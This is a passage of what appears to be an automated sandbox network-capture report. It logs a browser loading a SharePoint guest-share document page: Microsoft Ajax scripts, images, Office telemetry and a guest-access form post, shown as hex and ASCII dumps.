29 28 5b 5e 64 5d 7c 24 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 69 66 28 68 7c 7c 70 29 72 Data Ascii: ing()}function m(a){if(a<10)return "00"+a;if(a<100)return "0"+a;return a.toString()}function v(a){if(a<10)return "000"+a;else if(a<100)return "00"+a;else if(a<1000)return "0"+a;return a.toString()}var h,p,t=/([^d]\|^)(d\|dd)([^d]\|$)/g;function s(){if(h\|\|p)r
2025-02-21 09:25:03 UTC	16384	IN	Data Raw: 62 3d 53 79 73 2e 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2e 4a 61 76 61 53 63 72 69 70 74 53 65 72 69 61 6c 69 7a 65 72 2e 5f 63 68 61 72 73 54 6f 45 73 63 61 70 65 5b 64 5d 3b 69 66 28 61 2e 69 6e 64 65 78 4f 66 28 62 29 21 3d 3d 2d 31 29 69 66 28 53 79 73 2e 42 72 6f 77 73 65 72 2e 61 67 65 6e 74 3d 3d 3d 53 79 73 2e 42 72 6f 77 73 65 72 2e 4f 70 65 72 61 7c 7c 53 79 73 2e 42 72 6f 77 73 65 72 2e 61 67 65 6e 74 3d 3d 3d 53 79 73 2e 42 72 6f 77 73 65 72 2e 46 69 72 65 46 6f 78 29 61 3d 61 2e 73 70 6c 69 74 28 62 29 2e 6a 6f 69 6e 28 53 79 73 2e 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2e 4a 61 76 61 53 63 72 69 70 74 53 65 72 69 61 6c 69 7a 65 72 2e 5f 65 73 63 61 70 65 43 68 61 72 73 5b 62 5d 29 3b 65 6c 73 65 20 61 3d 61 2e 72 65 70 6c 61 63 65 28 53 79 Data Ascii: b=Sys.Serialization.JavaScriptSerializer._charsToEscape[d];if(a.indexOf(b)!==-1)if(Sys.Browser.agent===Sys.Browser.Opera\|\|Sys.Browser.agent===Sys.Browser.FireFox)a=a.split(b).join(Sys.Serialization.JavaScriptSerializer._escapeChars[b]);else a=a.replace(Sy
2025-02-21 09:25:03 UTC	16384	IN	Data Raw: 65 6c 73 65 20 61 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 7d 3b 53 79 73 2e 55 49 2e 44 6f 6d 45 6c 65 6d 65 6e 74 2e 5f 65 6e 73 75 72 65 4f 6c 64 44 69 73 70 6c 61 79 4d 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 5f 6f 6c 64 44 69 73 70 6c 61 79 4d 6f 64 65 29 7b 76 61 72 20 62 3d 61 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 7c 7c 53 79 73 2e 55 49 2e 44 6f 6d 45 6c 65 6d 65 6e 74 2e 5f 67 65 74 43 75 72 72 65 6e 74 53 74 79 6c 65 28 61 29 3b 61 2e 5f 6f 6c 64 44 69 73 70 6c 61 79 4d 6f 64 65 3d 62 3f 62 2e 64 69 73 70 6c 61 79 3a 6e 75 6c 6c 3b 69 66 28 21 61 2e 5f 6f 6c 64 44 69 73 70 6c 61 79 4d 6f 64 65 7c 7c 61 2e 5f 6f 6c 64 44 69 73 70 6c 61 79 4d 6f 64 65 3d 3d 3d 22 6e 6f 6e 65 22 29 73 77 69 74 63 Data Ascii: else a.style.display="none"}};Sys.UI.DomElement._ensureOldDisplayMode=function(a){if(!a._oldDisplayMode){var b=a.currentStyle\|\|Sys.UI.DomElement._getCurrentStyle(a);a._oldDisplayMode=b?b.display:null;if(!a._oldDisplayMode\|\|a._oldDisplayMode==="none")switc
2025-02-21 09:25:03 UTC	16384	IN	Data Raw: 2e 6a 6f 69 6e 28 22 26 22 29 2b 28 63 3f 22 26 26 22 2b 63 3a 22 22 29 7d 3b 53 79 73 2e 5f 41 70 70 6c 69 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 53 74 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 74 68 69 73 2e 5f 65 6e 61 62 6c 65 48 69 73 74 6f 72 79 29 7b 61 3d 61 7c 7c 22 22 3b 69 66 28 61 21 3d 3d 74 68 69 73 2e 5f 63 75 72 72 65 6e 74 45 6e 74 72 79 29 7b 69 66 28 77 69 6e 64 6f 77 2e 74 68 65 46 6f 72 6d 29 7b 76 61 72 20 64 3d 77 69 6e 64 6f 77 2e 74 68 65 46 6f 72 6d 2e 61 63 74 69 6f 6e 2c 65 3d 64 2e 69 6e 64 65 78 4f 66 28 22 23 22 29 3b 77 69 6e 64 6f 77 2e 74 68 65 46 6f 72 6d 2e 61 63 74 69 6f 6e 3d 28 65 21 3d 3d 2d 31 3f 64 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 65 29 3a 64 29 2b 22 23 22 2b 61 Data Ascii: .join("&")+(c?"&&"+c:"")};Sys._Application.prototype._setState=function(a,b){if(this._enableHistory){a=a\|\|"";if(a!==this._currentEntry){if(window.theForm){var d=window.theForm.action,e=d.indexOf("#");window.theForm.action=(e!==-1?d.substring(0,e):d)+"#"+a
2025-02-21 09:25:03 UTC	5222	IN	Data Raw: 64 5f 63 6f 6d 70 6c 65 74 65 64 28 78 29 3b 69 66 28 65 26 26 65 3e 30 29 64 2e 73 65 74 5f 74 69 6d 65 6f 75 74 28 65 29 3b 64 2e 69 6e 76 6f 6b 65 28 29 3b 66 75 6e 63 74 69 6f 6e 20 78 28 64 29 7b 69 66 28 64 2e 67 65 74 5f 72 65 73 70 6f 6e 73 65 41 76 61 69 6c 61 62 6c 65 28 29 29 7b 76 61 72 20 66 3d 64 2e 67 65 74 5f 73 74 61 74 75 73 43 6f 64 65 28 29 2c 63 3d 6e 75 6c 6c 3b 74 72 79 7b 76 61 72 20 65 3d 64 2e 67 65 74 52 65 73 70 6f 6e 73 65 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 29 3b 69 66 28 65 2e 73 74 61 72 74 73 57 69 74 68 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 29 63 3d 64 2e 67 65 74 5f 6f 62 6a 65 63 74 28 29 3b 65 6c 73 65 20 69 66 28 65 2e 73 74 61 72 74 73 57 69 74 68 28 22 74 65 78 74 2f Data Ascii: d_completed(x);if(e&&e>0)d.set_timeout(e);d.invoke();function x(d){if(d.get_responseAvailable()){var f=d.get_statusCode(),c=null;try{var e=d.getResponseHeader("Content-Type");if(e.startsWith("application/json"))c=d.get_object();else if(e.startsWith("text/

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:02 UTC	861	OUT	GET /ScriptResource.axd?d=O-vXHJRpQDjJaUpWymgLG0920gU7uBysnu_-5aUF8o3SHfNYV7At8_TWyqgRtNw9n3IHVwSh6WxyKYmGO9Z37mkptU4LS7QUetLLwntmMR0TCb00b948WuFdwXqgnLr3_BQpFmJXO0O7-54jOyTALC576frHJVMskUlLPS6WYz6sqxDXDgMR2eMPq7W8jYmJ0&t=2a9d95e3 HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:02 UTC	724	IN	HTTP/1.1 200 OK Cache-Control: public Content-Type: application/x-javascript; charset=utf-8 Expires: Sat, 21 Feb 2026 09:25:02 GMT Last-Modified: Fri, 21 Feb 2025 09:25:02 GMT Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-AspNet-Version: 4.0.30319 SPRequestDuration: 3 SPIisLatency: 0 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:02 GMT Connection: close Content-Length: 40326
2025-02-21 09:25:02 UTC	15660	IN	Data Raw: 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 2f 2f 20 4d 69 63 72 6f 73 6f 66 74 41 6a 61 78 57 65 62 46 6f 72 6d 73 2e 6a 73 0d 0a 54 79 70 65 2e 5f 72 65 67 69 73 74 65 72 53 63 72 69 70 74 28 22 4d 69 63 72 6f 73 6f 66 74 41 6a 61 78 57 65 62 46 6f Data Ascii: //----------------------------------------------------------// Copyright (C) Microsoft Corporation. All rights reserved.//----------------------------------------------------------// MicrosoftAjaxWebForms.jsType._registerScript("MicrosoftAjaxWebFo
2025-02-21 09:25:03 UTC	16384	IN	Data Raw: 72 75 65 3b 69 66 28 61 2e 76 61 6c 69 64 61 74 69 6f 6e 29 69 66 28 74 79 70 65 6f 66 20 50 61 67 65 5f 43 6c 69 65 6e 74 56 61 6c 69 64 61 74 65 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 64 3d 50 61 67 65 5f 43 6c 69 65 6e 74 56 61 6c 69 64 61 74 65 28 61 2e 76 61 6c 69 64 61 74 69 6f 6e 47 72 6f 75 70 29 3b 69 66 28 64 29 7b 69 66 28 74 79 70 65 6f 66 20 61 2e 61 63 74 69 6f 6e 55 72 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 61 2e 61 63 74 69 6f 6e 55 72 6c 21 3d 6e 75 6c 6c 26 26 61 2e 61 63 74 69 6f 6e 55 72 6c 2e 6c 65 6e 67 74 68 3e 30 29 74 68 65 46 6f 72 6d 2e 61 63 74 69 6f 6e 3d 61 2e 61 63 74 69 6f 6e 55 72 6c 3b 69 66 28 61 2e 74 72 61 63 6b 46 6f 63 75 73 29 7b 76 61 72 20 63 3d 74 68 65 46 6f 72 6d 2e 65 6c 65 6d 65 6e 74 73 5b 22 5f 5f Data Ascii: rue;if(a.validation)if(typeof Page_ClientValidate=="function")d=Page_ClientValidate(a.validationGroup);if(d){if(typeof a.actionUrl!="undefined"&&a.actionUrl!=null&&a.actionUrl.length>0)theForm.action=a.actionUrl;if(a.trackFocus){var c=theForm.elements["__
2025-02-21 09:25:03 UTC	8282	IN	Data Raw: 5f 73 63 72 69 70 74 44 69 73 70 6f 73 65 73 5b 61 5d 29 74 68 69 73 2e 5f 73 63 72 69 70 74 44 69 73 70 6f 73 65 73 5b 61 5d 3d 5b 62 5d 3b 65 6c 73 65 20 41 72 72 61 79 2e 61 64 64 28 74 68 69 73 2e 5f 73 63 72 69 70 74 44 69 73 70 6f 73 65 73 5b 61 5d 2c 62 29 7d 2c 5f 73 63 72 69 70 74 49 6e 63 6c 75 64 65 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 62 29 7b 69 66 28 62 2e 65 78 65 63 75 74 6f 72 2e 67 65 74 5f 77 65 62 52 65 71 75 65 73 74 28 29 21 3d 3d 74 68 69 73 2e 5f 72 65 71 75 65 73 74 29 72 65 74 75 72 6e 3b 74 68 69 73 2e 5f 63 6f 6d 6d 69 74 43 6f 6e 74 72 6f 6c 73 28 62 2e 75 70 64 61 74 65 50 61 6e 65 6c 44 61 74 61 2c 62 2e 61 73 79 6e 63 50 6f 73 74 42 61 63 6b 54 69 6d 65 6f 75 74 4e 6f 64 65 3f 62 2e 61 Data Ascii: _scriptDisposes[a])this._scriptDisposes[a]=[b];else Array.add(this._scriptDisposes[a],b)},_scriptIncludesLoadComplete:function(e,b){if(b.executor.get_webRequest()!==this._request)return;this._commitControls(b.updatePanelData,b.asyncPostBackTimeoutNode?b.a

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:02 UTC	733	OUT	GET /_layouts/15/images/microsoft-logo.png HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:02 UTC	682	IN	HTTP/1.1 200 OK Cache-Control: max-age=31536000 Content-Type: image/png Last-Modified: Fri, 14 Feb 2025 10:58:55 GMT Accept-Ranges: bytes ETag: "4410671cf7edb1:0" Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 SPRequestDuration: 3 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:01 GMT Connection: close Content-Length: 3331
2025-02-21 09:25:02 UTC	3331	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e2 00 00 00 30 08 06 00 00 00 0c e6 a6 f3 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 0c bd 49 44 41 54 78 01 ed 9c 3d 77 1b b9 15 86 47 b6 7a d3 bf c0 4c ca 34 66 4e d2 6b 5c 64 53 9a ee b3 c7 a3 5f 60 fa ab 8d a8 da 1f d2 fe 02 8f 72 d2 9b ee b2 95 c9 7e cf 46 aa dc 65 a9 5f b0 52 5a 7f 30 cf 4b 03 5c 0c 06 43 42 12 87 de 8d 31 e7 8c 81 7b 71 71 2f e6 05 5e 7c 0c 47 de fa 6f ff f7 b3 ac 85 0b a7 3f de 18 fd e7 4f 72 fd f7 ef b3 1f b6 b6 b2 79 7e dd a1 f6 ff 92 5d cb b6 b2 56 9e 61 dd 6d 4d fe 12 02 4d 08 5c 6b 2a 48 fa 84 40 42 60 73 08 24 22 6e 0e eb 14 29 21 d0 88 40 22 62 23 34 a9 20 21 b0 39 04 12 11 37 87 75 8a 94 10 68 44 20 11 b1 11 9a 54 90 10 d8 1c 02 89 88 9b c3 3a 45 4a 08 34 22 b0 dd Data Ascii: PNGIHDR0sRGBIDATx=wGzL4fNk\dS_`r~Fe_RZ0K\CB1{qq/^\|Go?Ory~]VamMM\k*H@B`s$"n)!@"b#4 !97uhD T:EJ4"

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:03 UTC	558	OUT	GET /ScriptResource.axd?d=qG5cZC_r-vjA5alF1F7cP1ojaTdycTZtYbAW6i40CCMvVoP-LqtNdKXZALKV3oY9IRBAKkgqJxHyUZVhX7XR2OhnfHp840tX34IBU2j5N3RGOc_8hFN6dOeZBbtJPkmJdOYvev-5mehbL5Maqgf6LpRnUqjZqe2772PpI7spBVk1&t=ffffffffc7a8e318 HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:04 UTC	724	IN	HTTP/1.1 200 OK Cache-Control: public Content-Type: application/x-javascript; charset=utf-8 Expires: Sat, 21 Feb 2026 09:25:03 GMT Last-Modified: Fri, 21 Feb 2025 09:25:03 GMT Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-AspNet-Version: 4.0.30319 SPRequestDuration: 5 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:03 GMT Connection: close Content-Length: 26951
2025-02-21 09:25:04 UTC	15660	IN	Data Raw: 76 61 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 69 6f 6e 56 65 72 20 3d 20 22 31 32 35 22 3b 0d 0a 76 61 72 20 50 61 67 65 5f 49 73 56 61 6c 69 64 20 3d 20 74 72 75 65 3b 0d 0a 76 61 72 20 50 61 67 65 5f 42 6c 6f 63 6b 53 75 62 6d 69 74 20 3d 20 66 61 6c 73 65 3b 0d 0a 76 61 72 20 50 61 67 65 5f 49 6e 76 61 6c 69 64 43 6f 6e 74 72 6f 6c 54 6f 42 65 46 6f 63 75 73 65 64 20 3d 20 6e 75 6c 6c 3b 0d 0a 76 61 72 20 50 61 67 65 5f 54 65 78 74 54 79 70 65 73 20 3d 20 2f 5e 28 74 65 78 74 7c 70 61 73 73 77 6f 72 64 7c 66 69 6c 65 7c 73 65 61 72 63 68 7c 74 65 6c 7c 75 72 6c 7c 65 6d 61 69 6c 7c 6e 75 6d 62 65 72 7c 72 61 6e 67 65 7c 63 6f 6c 6f 72 7c 64 61 74 65 74 69 6d 65 7c 64 61 74 65 7c 6d 6f 6e 74 68 7c 77 65 65 6b 7c 74 69 6d 65 7c 64 61 74 65 74 69 6d 65 Data Ascii: var Page_ValidationVer = "125";var Page_IsValid = true;var Page_BlockSubmit = false;var Page_InvalidControlToBeFocused = null;var Page_TextTypes = /^(text\|password\|file\|search\|tel\|url\|email\|number\|range\|color\|datetime\|date\|month\|week\|time\|datetime
2025-02-21 09:25:04 UTC	11291	IN	Data Raw: 6e 20 43 6f 6d 70 61 72 65 56 61 6c 69 64 61 74 6f 72 45 76 61 6c 75 61 74 65 49 73 56 61 6c 69 64 28 76 61 6c 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 56 61 6c 69 64 61 74 6f 72 47 65 74 56 61 6c 75 65 28 76 61 6c 2e 63 6f 6e 74 72 6f 6c 74 6f 76 61 6c 69 64 61 74 65 29 3b 0d 0a 20 20 20 20 69 66 20 28 56 61 6c 69 64 61 74 6f 72 54 72 69 6d 28 76 61 6c 75 65 29 2e 6c 65 6e 67 74 68 20 3d 3d 20 30 29 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 20 20 20 20 76 61 72 20 63 6f 6d 70 61 72 65 54 6f 20 3d 20 22 22 3b 0d 0a 20 20 20 20 69 66 20 28 28 74 79 70 65 6f 66 28 76 61 6c 2e 63 6f 6e 74 72 6f 6c 74 6f 63 6f 6d 70 61 72 65 29 20 21 3d 20 22 73 74 72 69 6e 67 22 29 20 7c 7c 0d 0a 20 20 20 20 20 20 20 20 28 Data Ascii: n CompareValidatorEvaluateIsValid(val) { var value = ValidatorGetValue(val.controltovalidate); if (ValidatorTrim(value).length == 0) return true; var compareTo = ""; if ((typeof(val.controltocompare) != "string") \|\| (

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:04 UTC	733	OUT	GET /_layouts/15/images/favicon.ico?rev=47 HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:04 UTC	686	IN	HTTP/1.1 200 OK Cache-Control: max-age=31536000 Content-Type: image/x-icon Last-Modified: Fri, 14 Feb 2025 10:59:15 GMT Accept-Ranges: bytes ETag: "60dbe27ccf7edb1:0" Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 SPRequestDuration: 3 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:03 GMT Connection: close Content-Length: 7886
2025-02-21 09:25:04 UTC	7886	IN	Data Raw: 00 00 01 00 03 00 20 20 00 00 01 00 20 00 a8 10 00 00 36 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 de 10 00 00 10 10 00 00 01 00 20 00 68 04 00 00 66 1a 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 c6 37 30 d0 c6 37 af d0 c6 37 ff d0 c6 37 ff d0 c6 37 ff d0 c6 37 ff d0 c6 37 af d0 c6 37 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6 hf( @ 7077777770

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:04 UTC	595	OUT	OPTIONS /api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DUSSELDORF&ASN=20940&Country=DE&Region=NW&RequestIdentifier=0.6cf21602.1740129904.e30195b&TotalRTCDNTime=79&CompressionType=&FileSize=215 HTTP/1.1 Host: m365cdn.nel.measure.office.net Connection: keep-alive Origin: https://res-1.cdn.office.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:05 UTC	319	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Fri, 21 Feb 2025 09:25:05 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2025-02-21 09:25:05 UTC	7	IN	Data Raw: 4f 50 54 49 4f 4e 53 Data Ascii: OPTIONS

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:05 UTC	532	OUT	POST /api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DUSSELDORF&ASN=20940&Country=DE&Region=NW&RequestIdentifier=0.6cf21602.1740129904.e30195b&TotalRTCDNTime=79&CompressionType=&FileSize=215 HTTP/1.1 Host: m365cdn.nel.measure.office.net Connection: keep-alive Content-Length: 511 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:05 UTC	511	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 38 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 63 61 73 70 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 32 2e 32 32 2e 32 34 32 2e 31 32 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 Data Ascii: [{"age":0,"body":{"elapsed_time":987,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://casp-my.sharepoint.com/","sampling_fraction":1.0,"server_ip":"2.22.242.123","status_code":404,"type":"http.error"},"type":"network-error","
2025-02-21 09:25:09 UTC	333	IN	HTTP/1.1 429 Too Many Requests Content-Length: 0 Request-Context: appId=cid-v1:27277200-e19a-465d-951d-bb90a149c996 Date: Fri, 21 Feb 2025 09:25:09 GMT Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:25 UTC	1099	OUT	POST /personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive Content-Length: 1931 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://casp-my.sharepoint.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
